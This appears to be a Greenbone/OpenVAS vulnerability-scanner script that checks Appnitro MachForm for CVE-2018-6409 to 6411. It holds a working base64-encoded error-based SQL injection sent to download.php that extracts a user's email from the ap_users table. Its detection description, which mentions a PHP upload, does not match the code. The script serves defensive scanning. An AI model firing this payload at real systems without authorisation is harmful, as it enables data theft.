Appnitro MachForm < 4.2.3 Multiple Vulnerabilities

# Copyright (C) 2018 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:appnitro:machform";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141126");
  script_version("2022-09-20T10:11:40+0000");
  script_tag(name:"last_modification", value:"2022-09-20 10:11:40 +0000 (Tue, 20 Sep 2022)");
  script_tag(name:"creation_date", value:"2018-05-31 09:43:14 +0700 (Thu, 31 May 2018)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-06-28 18:11:00 +0000 (Thu, 28 Jun 2018)");

  script_cve_id("CVE-2018-6409", "CVE-2018-6410", "CVE-2018-6411");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Appnitro MachForm < 4.2.3 Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_appnitro_machform_detect.nasl");
  script_mandatory_keys("appnitro/machform/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Appnitro MachForm is prone to multiple vulnerabilities.");

  script_tag(name:"insight", value:"Appnitro MachForm is prone to multiple vulnerabilities:

  - CVE-2018-6409: Path traversal

  - CVE-2018-6410: SQL-Injection

  - CVE-2018-6411: Bypass of file upload filter");

  script_tag(name:"vuldetect", value:"Tries to upload a PHP file and checks if phpinfo() can be executed.");

  script_tag(name:"solution", value:"Update to version 4.2.3 or later.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44794/");
  script_xref(name:"URL", value:"https://metalamin.github.io/MachForm-not-0-day-EN/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/download.php?q=ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgyMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3VzZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RFUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=";

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if ("Integrity constraint violation" >< res) {
  report = 'The error message retrieved indicates that an SQL Injection was possible.\n\nResponse:\n' +
           res;
  security_message(port: port, data: report);
  exit(0);
}

exit(0);